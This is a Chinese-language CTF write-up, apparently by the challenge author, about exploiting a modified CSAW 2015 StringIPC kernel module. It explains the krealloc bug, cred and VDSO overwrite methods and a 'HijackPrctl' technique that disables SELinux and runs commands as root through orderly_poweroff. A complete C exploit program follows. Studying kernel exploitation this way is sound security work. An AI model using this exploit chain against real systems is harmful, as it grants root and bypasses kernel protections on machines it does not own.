0x00 概述

solid_core出题时候，基本上是以CSAW-2015-CTF的stringipc题目为基础进行内存读写的限制，CSAW-2015-CTF中的题目是一个krealloc的利用。
在krealloc的定义中mm/slab_common.c中

如果size=0,krealloc返回值为0x10

通过修改size=-1,使得kremalloc的返回值变成0x10,同时size因为是0xFFFFFFFFFFFFFFFF所以可以进行任意地址读写。

那么传统思路下一步提权的方法有两种，下面进行介绍。

0x01 任意地址读写到权限提升(传统思路)

下面以csaw-2015的stringipc为例子来介绍两种从任意地址读写到权限提升到权限的传统思路

1. 爆破cred结构位置并篡改

做过内核漏洞利用的同学应该都了解task_struct中的cred结构代表了该进程的权限结构。

如果我们能够修改cred结构的值那么就可以进行提权操作。这是一个很正常的思路，但是我们的cred结构地址在哪里呢？这里CSAW给出的思路是通过prctl设置comm结构为一个Random的字符串是，然后通过爆破这个Random的字符串，每八个字节进行遍历，耗时比较久，但是是可行的。
链接如下 https://github.com/mncoppola/StringIPC/blob/master/solution/solution.c

2. RET2DIR攻击(劫持VDSO)

第二种方法是使用RET2DIR攻击，在这里CSAW-2015-stringipc可以通过攻击VDSO来劫持用户态的代码执行流程。下面我们先来补充一下VDSO的知识：

1.linux下的VDSO

VDSO(Virtual Dynamically-linked Shared Object)是个很有意思的东西, 它将内核态的调用映射到用户态的地址空间中, 使得调用开销更小, 路径更好.

开销更小比较容易理解, 那么路径更好指的是什么呢? 拿x86下的系统调用举例, 传统的int 0x80有点慢, Intel和AMD分别实现了sysenter, sysexit和syscall, sysret, 即所谓的快速系统调用指令, 使用它们更快, 但是也带来了兼容性的问题. 于是Linux实现了vsyscall, 程序统一调用vsyscall, 具体的选择由内核来决定. 而vsyscall的实现就在VDSO中.

Linux(kernel 2.6 or upper)环境下执行ldd /bin/sh, 会发现有个名字叫linux-vdso.so.1(老点的版本是linux-gate.so.1)的动态文件, 而系统中却找不到它, 它就是VDSO. 例如:

$ ldd /bin/sh
        linux-vdso.so.1 =>  (0x00007fff2f9ff000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f28d5b36000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f28d5eca000)

所以，不难理解，VDSO是一段内核空间的代码，用来提供给用户态下更快地调用系统调用。正是因为这个特殊的机制，使得我们可以进行攻击。
在CSAW-CTF-2015的stringipc题目中，内核态下VDSO页的权限是RW，这个代码页会被直接映射到用户态下的进程中，以满足gettime等频繁系统调用的速度。这个代码页映射到用户态的权限属性是RX，就是可以执行。所以，我们可以通过在内核态下通过任意写来修改VDSO的代码，譬如我们修改代码成为prepare_cred+commited_cred等，这样在用户调用VDSO时，就可以劫持控制流了。
具体链接如下: http://itszn.com/blog/?p=21

这里也有一个问题:VDSO位置在哪里呢？这个可以爆破，因为我们有了任意地址读的权限，不过和上面爆破cred结构的技术不一样，我们可以更快的爆破，因为VDSO必定是被安防到一个内存页里面，也就是页对其的，同时它是一个ELF文件，是有ELF Signurte，所以我们可以按照内存页的偏移来进行爆破，这样爆破速度会很快，大概是256倍,而且它的映射位置离内核基址并不是太远，可以很快就出来了。

0x02 题目修改思路

题目为了限制大家不能使用cred覆盖和ret2dir攻击利用方法，我对csaw-ctf-2015进行了修改，限制了内存读写范围。

我进行了限制，限制写入范围必须大于0xffffffff80000000，这个地址在linux内存分布中，是kernel base以上。
附上linux 内核内存分布图

所以可以限制cred被覆盖，同时编译最新内核以限制VDSO在内核情况下不能被修改。

可以使得上两种的利用方法失效，以期待有高手能够给出一种另外的利用思路，同时我也给出了一种限制之后可以成功利用思路，也就是HijackPrctl，下面进行详细介绍。

0x03 HijackPrctl- A reliable linux root Techniques

下面介绍从内核地址任意读写(或者可以限制为局部地址读写)到任意代码执行的一种新型的Reliable Linux Root技术，这个思路其实也不算最新的，是来自于INetCop Security 分享的New Reliable Android Kernel Root Exploitation Techniques,这种漏洞利用思路主要是要劫持Prctl函数，最后跳转到call_usermodehelper,我姑且把这种方法称作HijackPrctl。
我们再来确定一下现在能做的事情,我们可以进行局部地址的任意读写，题目限制了读写范围必须大于0xffffffff80000也就是kernel base以上。为了达到代码执行，我们先找一个内核函数看能不能劫持的。

0x01 Prctl(用户和内核沟通的一个绝佳函数)

这里要介绍一下Prctl函数，这个函数可以对进程进行一些设置，通过查看linux内核源码，可以知道这个函数是一个内核漏洞利用中的绝佳函数。
在include/linux/security.h中可以看到cap_task_prctl拥有6个参数。

同时在kernel/sys.c中，可以看到对于prctl这个系统调用的处理过程中，将参数原封不动的传给了security_task_prctl函数进行处理。

继续往下跟进，我们发现security_task_prctl这个函数其实最后是定位到了一个虚表里面去，

在调试时候我们会找到这个hook的位置在哪里，在这里是capability+0x520+0x18这个偏移，这个偏移在IDA中也能分析出来。

这样的话，我们就找到了一个可以通过用户态传最多6个参数并且到内核态原封不动执行的虚函数。也就是意味我们可以通过修改这个指针，可以任意执行一个函数了。

0x02 32位和64位区别

基于上面的分析我们可以通过用户态传递参数，在内核态下任意执行6个参数以下的函数。再仔细分析一下，对吗？在32位下是可以的，在64位下并不是。我们再看这个函数
int security_task_prctl(int option, unsigned long ...)发现第一个参数option是int类型，也就是我们传入的64位会被截断成为32位，这也就导致了64位，第一个参数不能用了。
这个不影响32位下的漏洞利用，我们继续来分析32位如何利用。
其实，这里有很多思路，INetCop Security的Slide里面有，我这里介绍另外一种基于VDSO变形的方法，也是看雪论坛上(https://bbs.pediy.com/thread-220057.htm)，提出的一种方法。
具体思路是:

1. 先通过劫持task_prctl，将其修改成为set_memory_rw
2. 然后传入VDSO的地址，将VDSO修改成为可写的属性，
3. 然后之后的步骤就和劫持VDSO方法是一样的了。
   这种方法我进行了验证64位内核上是不可行的，就是因为第一个参数被截断的原因。

0x03 call_usermoderhelper内核线程执行

call_usermoderhelper是内核运行用户程序的一个api,并且该程序有root的权限。如果我们能够控制性的调用它，就能以Root权限执行我们想要执行的程序了。
定义在kernel/umh.c中

subprocess_info如下

我们要劫持task_prctl到call_usermoderhelper吗，不是的，因为这里的第一个参数也是64位的，也不能直接劫持过来。但是内核中有些代码片段是调用了Call_usermoderhelper的，可以转化为我们所用。
譬如kernel/reboot.c中的orderly_poweroff函数中调用了run_cmd参数是poweroff_cmd,而且poweroff_cmd是一个全局变量，可以修改。

那么我们就先篡改poweroff_cmd=我们预期执行的命令，然后直接劫持task_prctl到orderly_poweroff函数，这样就任意命令执行了，同时按照INetCop Security给出的思路，需要先关闭selinux。

所以再整理一下整体思路:

1. 利用kremalloc的问题，达到任意地址读写的能力
2. 通过快速爆破，泄露出VDSO地址。
3. 利用VDSO和kernel_base相差不远的特性，泄露出内核基址
4. 篡改prctl的hook为selinux_disable函数的地址
5. 调用prctl使得selinux失效
6. 篡改poweroff_cmd使其等于我们预期执行的命令。
7. 篡改prctl的hook为orderly_poweroff
8. 调用prctl执行我们预期的命令，达到内核提权的效果。
   最后给出利用程序如下

#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>


#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8


struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct open_channel_args {
    int id;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct close_channel_args {
    int id;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

int ID = 0;
int FD = 0;

void readMem(void* ptr, void* addr, size_t count) {
    struct seek_channel_args seekArgs;
    seekArgs.id = ID;
    seekArgs.index = addr-0x10;
    seekArgs.whence = SEEK_SET;

    int ret = ioctl(FD, CSAW_SEEK_CHANNEL, &seekArgs);
    int err = errno;
    //fprintf(stderr,"Seek: %x err:%u\n",ret,err);

    struct read_channel_args readArgs;
    readArgs.id = ID;
    readArgs.buf = ptr;
    readArgs.count = count;

    ret = ioctl(FD, CSAW_READ_CHANNEL, &readArgs);
    err = errno;
    //fprintf(stderr,"read: %x err:%u\n",ret,err);
}

void writeMem(void* ptr, void* addr, size_t count) {
    struct seek_channel_args seekArgs;
    seekArgs.id = ID;
    seekArgs.index = addr-0x10;
    seekArgs.whence = SEEK_SET;

    int ret = ioctl(FD, CSAW_SEEK_CHANNEL, &seekArgs);
    int err = errno;
    //fprintf(stderr,"Seek: %x err:%u\n",ret,err);

    struct write_channel_args writeArgs;
    writeArgs.id = ID;
    writeArgs.buf = ptr;
    writeArgs.count = count;

    ret = ioctl(FD, CSAW_WRITE_CHANNEL, &writeArgs);
    err = errno;
    //fprintf(stderr,"write: %x err:%u\n",ret,err);

}

int main(int argc,char* argv[]) {
//offset_set_memory_rw 0x079340 sbin_poweroff 0x123D1E0 call_poweroff 0x09C4C0 
//offset_prctl_hook 0x124FD00  selinux_disable 0x2C7BA0 
//./exp 0x124FCC0 0x123D2E0 0x09D510 0x2C2E10
//capability+0x520 
    long unsigned int offset_set_memory_rw=0x06da70;
    long unsigned int offset_prctl_hook=0x1140ae0;
    long unsigned int offset_task_prctl=0x2f7e69;
    long unsigned int offset_call_modprobe=0x0ae3b2;
    //long unsigned int offset_call_poweroff=0x0a0880;//call_usermod
    long unsigned int offset_call_poweroff=0x0acb00;
    long unsigned int offset_selinux_disable=0x303b10;
    long unsigned int offset_sbin_poweroff=0x105a4e0;
    long unsigned int offset_modprobe_path=0x105ac80;
    if (argc!=5)
    {
        fprintf(stderr,"Usage: %s offset_prctl_hook offset_sbin_poweroff offset_call_poweroff offset_selinux_disable\n",argv[0]);
        exit(-1);
    }
    //offset_set_memory_rw=strtoul(argv[1],NULL,16);
    offset_prctl_hook=strtoul(argv[1],NULL,16);
    offset_sbin_poweroff=strtoul(argv[2],NULL,16);
    offset_call_poweroff=strtoul(argv[3],NULL,16);
    offset_selinux_disable=strtoul(argv[4],NULL,16);
    int fd = open("/proc/simp1e",O_NONBLOCK);


    char cmd[256];
    memset(cmd,0,sizeof(cmd));
    fprintf(stderr,"Input Your Cmd $:");
    read(0,&cmd,256);
    FD = fd;
    struct alloc_channel_args arg1;
    arg1.buf_size=100;

    int ret = ioctl(fd,CSAW_ALLOC_CHANNEL,&arg1);
    fprintf(stderr,"allocate fd: %d ret: %d id:%u\n",fd,ret,arg1.id);
    ID = arg1.id;

    struct shrink_channel_args shrinkArgs;
    shrinkArgs.id = arg1.id;
    shrinkArgs.size=101;

    ret = ioctl(fd, CSAW_SHRINK_CHANNEL, &shrinkArgs);
    int err = errno;
    fprintf(stderr,"Shrink: %d err:%u\n",ret,err);

    fprintf(stderr,"ZERO_SIZED_POINTER = %p\n",((void*)16));

    //Random buffer to throw things into
    //char* what = malloc(0x1000*0x1000);

    //Scanning for elf headers to find VDSO
    void* header = 0;
    void* loc = 0xffffffff80000000;
    size_t i = 0;
    for (; loc<0xffffffffffffafff; loc+=0x1000) {
        readMem(&header,loc,8);
        if (header==0x010102464c457f) {
            fprintf(stderr,"%p elf\n",loc);
            readMem(&header,loc+0x2B8,8);
            //Look for 'clock_ge' signature (may not be at this offset, but happened to be)
            if (header==0x65675f6b636f6c63) {
                fprintf(stderr,"%p found it?\n",loc);
                break;
            }
        }
    }


    long unsigned int kernel_base=(long unsigned int)loc&0xffffffffff000000;
    long unsigned int real_set_memory_rw=kernel_base+offset_set_memory_rw;
    long unsigned int real_prctl_hook=kernel_base+offset_prctl_hook;
    long unsigned int real_task_prctl=0;
    long unsigned int real_call_modprobe=0;
    long unsigned int real_modprobe_path=0;
    long unsigned int real_selinux_disable=0;
    long unsigned int real_sbin_poweroff=kernel_base+offset_sbin_poweroff;
    long unsigned int real_call_poweroff=0;
    long unsigned int try_offset=0;
    //cur_offset= (real_set_memory_rw >>20 ) &0xff

    printf("real_sbin_poweroff:%p real_prctl_hook:%p\n",real_sbin_poweroff,real_prctl_hook);
    for( i=0; i<0x20;i+=1)
    {
        try_offset = real_sbin_poweroff- 0x100000*i ;
        printf("%p is trying!\n",try_offset);
                readMem(&header, (void*)try_offset,8);
        printf("%p is read!\n",header);

        //if (header==0xec834800f28db6e8){
        if (header==0x6f702f6e6962732f){
            fprintf(stderr,"%p is real_sbin_poweroff\n",try_offset);
            real_sbin_poweroff=try_offset;
            real_prctl_hook-=(0x100000*i);
            break;
        }
    }
    if (i==0x20)
    {
        fprintf(stderr,"Not found!\n");
        exit(-1);

    }
    real_task_prctl = real_sbin_poweroff -offset_sbin_poweroff + offset_task_prctl;
    //real_call_modprobe = real_sbin_poweroff -offset_sbin_poweroff + offset_call_modprobe;
    printf("set_memory_rw:%p real_prctl_hook:%p \n real_task_prctl:%p\n real_call_modprobe:%p \n",real_set_memory_rw,real_prctl_hook,real_task_prctl,real_call_modprobe);
    //real_modprobe_path = real_sbin_poweroff -offset_sbin_poweroff + offset_modprobe_path;
    real_selinux_disable = real_sbin_poweroff -offset_sbin_poweroff + offset_selinux_disable;
    real_sbin_poweroff = real_sbin_poweroff -offset_sbin_poweroff + offset_sbin_poweroff;
    real_call_poweroff = real_sbin_poweroff -offset_sbin_poweroff + offset_call_poweroff;
    printf("path %p selinux_disable: %p\n",real_modprobe_path,real_selinux_disable);
    printf("Hijiack Prctl!\n");
    getchar();
    writeMem(&real_selinux_disable,real_prctl_hook,sizeof(real_set_memory_rw));
    ret = prctl(loc,2, loc,loc,2);
    //char * hijack_path= "/bin/ls\x00";
    //char * hijack_path= "/bin/cat /flag > /tmp/flag\x00\x00\x00";
    char * hijack_path= "/bin/mkdir -p /tmp/x0x\x00\x00\x00";
    //writeMem(hijack_path,real_modprobe_path,128);
    //writeMem(hijack_path,real_sbin_poweroff,128);
    writeMem(&cmd,real_sbin_poweroff,228);
    //exit(-1);
    //Write our shellcode over the gettimeofday function at offset 0xca0
    //writeMem(&real_set_memory_rw,real_prctl_hook,sizeof(real_set_memory_rw));
    writeMem(&real_call_poweroff,real_prctl_hook,sizeof(real_set_memory_rw));
    printf("Start Prctl!\n");
    getchar();
ret = prctl(loc,2, loc,loc,2);

    printf("end Prctl!\n");
    for(i=0;i<0x0;i+=1)
    {

    writeMem(&real_call_poweroff,real_prctl_hook+8*i,sizeof(real_set_memory_rw));
    }
    //Write our shellcode over the gettimeofday function at offset 0xca0
   // writeMem(sc,loc+0xd30,strlen(sc));

    //Wait a bit for a daemon or logger to call gettimeofday()
 //   system("nc -l -p 3333 -v");

   // exit(1);
}

0x04 写在后面

很惨，出题时候由于一些设置问题，产生了一些的非预期解(一共有5只队伍解出题目，三只使用非预期解，两只使用正解)，不过这些非预期解也让我学习到了很多知识(姿势)。
同时在题目部署中也出现了一些问题，但是因为已经出现了非预期解，保持题目公平性，所以也就没有进行继续修改了。
同时在出这道题目的过程中，多次对内核进行编译，对于很多以前不知道的内核知识进行补充，踩了很多坑，也学了很多。
最后祝贺做出此题的战队以及参与强网杯比赛的各位战队，希望能够和各位大神继续交流内核漏洞相关的知识。
同时最近出现的ubuntu16.04提权漏洞也是一个任意内存读写漏洞，理论上也能够使用该种方法进行提权，下面我会抽时间进行调试并分析。
如果大家还想继续做这道题目的话，题目继续在10.9.173.101 9999开放。
同时本文也在本人博客上面进行发表。http://leanote.com/blog/post/5ab78270ab64413755000dcf

0xff 参考资料

1. vdso http://adam8157.info/blog/2011/10/linux-vdso/
2. ret2dir http://www.cnblogs.com/0xJDchen/p/6143102.html
3. usermode-helper https://www.ibm.com/developerworks/cn/linux/l-user-space-apps/index.html
4. attack_vdso https://hardenedlinux.github.io/translation/2015/11/25/Translation-Bypassing-SMEP-Using-vDSO-Overwrites.html
5. ret2dir-balckhat https://www.blackhat.com/docs/eu-14/materials/eu-14-Kemerlis-Ret2dir-Deconstructing-Kernel-Isolation.pdf
6. reliable linux root http://powerofcommunity.net/poc2016/x82.pdf
7. 利用分页机制进行攻击 https://github.com/n3k/CansecWest2016_Getting_Physical_Extreme_Abuse_of_Intel_Based_Paging_Systems/blob/master/Demos/Linux/driver/kernetix.c
8. New Reliable Android Kernel Root Exploitation Techniques http://powerofcommunity.net/poc2016/x82.pdf

[培训]《安卓高级研修班(网课)》月薪三万计划，掌握调试、分析还原ollvm、vmp的方法，定制art虚拟机自动化脱壳的方法